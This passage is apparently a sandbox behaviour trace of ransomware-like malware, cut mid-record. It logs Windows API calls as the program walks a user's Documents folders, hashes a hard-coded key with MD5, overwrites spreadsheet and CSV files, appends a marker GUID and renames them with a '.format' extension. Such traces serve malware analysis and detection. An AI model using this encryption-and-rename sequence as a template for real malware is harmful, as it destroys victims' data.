szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.807] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.807] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.807] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.807] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.807] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.807] GetLastError () returned 0x0 [0068.807] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.807] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.807] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.807] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xeef0) returned 0x32b2f40 [0068.807] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.808] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.808] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xeee7, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xeee7, lpOverlapped=0x0) returned 1 [0068.808] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.808] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xeeec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.808] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.808] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.808] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.808] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.808] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.808] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.808] CloseHandle (hObject=0x5c8) returned 1 [0068.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0068.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0068.810] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\I_dy9.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\i_dy9.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\I_dy9.xlsx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\i_dy9.xlsx.format")) returned 1 [0068.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.810] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.811] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35f4d2b0, ftCreationTime.dwHighDateTime=0x1d4d4c5, ftLastAccessTime.dwLowDateTime=0xd48aafb0, ftLastAccessTime.dwHighDateTime=0x1d4d2fb, ftLastWriteTime.dwLowDateTime=0xd48aafb0, ftLastWriteTime.dwHighDateTime=0x1d4d2fb, nFileSizeHigh=0x0, nFileSizeLow=0x2a8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s gpfWvsnWdJ9uw9U90P.xls", cAlternateFileName="SGPFWV~1.XLS")) returned 1 [0068.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.812] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\s gpfWvsnWdJ9uw9U90P.xls") returned=".xls" [0068.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\s gpfWvsnWdJ9uw9U90P.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\s gpfwvsnwdj9uw9u90p.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.812] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=10892) returned 1 [0068.812] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.814] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2a66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.814] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.815] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.815] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.815] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.815] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x2a8c, lpOverlapped=0x0) returned 1 [0068.815] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.815] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.815] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.815] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.815] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.816] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.816] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.816] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.816] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.816] GetLastError () returned 0x0 [0068.816] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.816] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2a90) returned 0x32aa8e0 [0068.816] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.817] WriteFile (in: hFile=0x5c8, lpBuffer=0x32aa8e0*, nNumberOfBytesToWrite=0x2a87, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32aa8e0*, lpNumberOfBytesWritten=0x38cfb24*=0x2a87, lpOverlapped=0x0) returned 1 [0068.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32aa8e0 | out: hHeap=0x5d0000) returned 1 [0068.817] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2a8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.817] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.817] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.817] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.817] CloseHandle (hObject=0x5c8) returned 1 [0068.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0068.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e0) returned 0x3178dd8 [0068.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0068.818] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\s gpfWvsnWdJ9uw9U90P.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\s gpfwvsnwdj9uw9u90p.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\18tCh2fbWO9uqJ4SH0r\\gLb9EGvUD\\s gpfWvsnWdJ9uw9U90P.xls.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\18tch2fbwo9uqj4sh0r\\glb9egvud\\s gpfwvsnwdj9uw9u90p.xls.format")) returned 1 [0068.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.819] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.820] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35f4d2b0, ftCreationTime.dwHighDateTime=0x1d4d4c5, ftLastAccessTime.dwLowDateTime=0xd48aafb0, ftLastAccessTime.dwHighDateTime=0x1d4d2fb, ftLastWriteTime.dwLowDateTime=0xd48aafb0, ftLastWriteTime.dwHighDateTime=0x1d4d2fb, nFileSizeHigh=0x0, nFileSizeLow=0x2a8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s gpfWvsnWdJ9uw9U90P.xls", cAlternateFileName="SGPFWV~1.XLS")) returned 0 [0068.820] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0068.820] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.820] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.822] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\") returned="2qASZGVP1ayqj\\" [0068.822] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\") returned="FZM1YvnX6BDzLLQ_\\" [0068.822] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\") returned="yiub\\" [0068.822] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0068.822] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.822] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.822] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.822] PathFindFileNameW (pszPath="") returned="" [0068.822] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4e8f110, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0x81791320, ftLastAccessTime.dwHighDateTime=0x1d4ce78, ftLastWriteTime.dwLowDateTime=0x81791320, ftLastWriteTime.dwHighDateTime=0x1d4ce78, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.822] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4e8f110, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0x81791320, ftLastAccessTime.dwHighDateTime=0x1d4ce78, ftLastWriteTime.dwLowDateTime=0x81791320, ftLastWriteTime.dwHighDateTime=0x1d4ce78, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.822] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec41a050, ftCreationTime.dwHighDateTime=0x1d4d490, ftLastAccessTime.dwLowDateTime=0x84ecef70, ftLastAccessTime.dwHighDateTime=0x1d4cec0, ftLastWriteTime.dwLowDateTime=0x84ecef70, ftLastWriteTime.dwHighDateTime=0x1d4cec0, nFileSizeHigh=0x0, nFileSizeLow=0xa35b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6 XGwY-lUt_VoBNPc3ul.csv", cAlternateFileName="6XGWY-~1.CSV")) returned 1 [0068.822] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\6 XGwY-lUt_VoBNPc3ul.csv") returned=".csv" [0068.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\2qASZGVP1ayqj\\6 XGwY-lUt_VoBNPc3ul.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\2qaszgvp1ayqj\\6 xgwy-lut_vobnpc3ul.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.823] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=41819) returned 1 [0068.823] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.825] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa335, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.825] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.826] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xa35b, lpOverlapped=0x0) returned 1 [0068.826] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.826] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.826] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.826] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.827] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.827] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.827] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.827] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.827] GetLastError () returned 0x0 [0068.827] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.827] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.828] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa35b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.828] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.828] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: 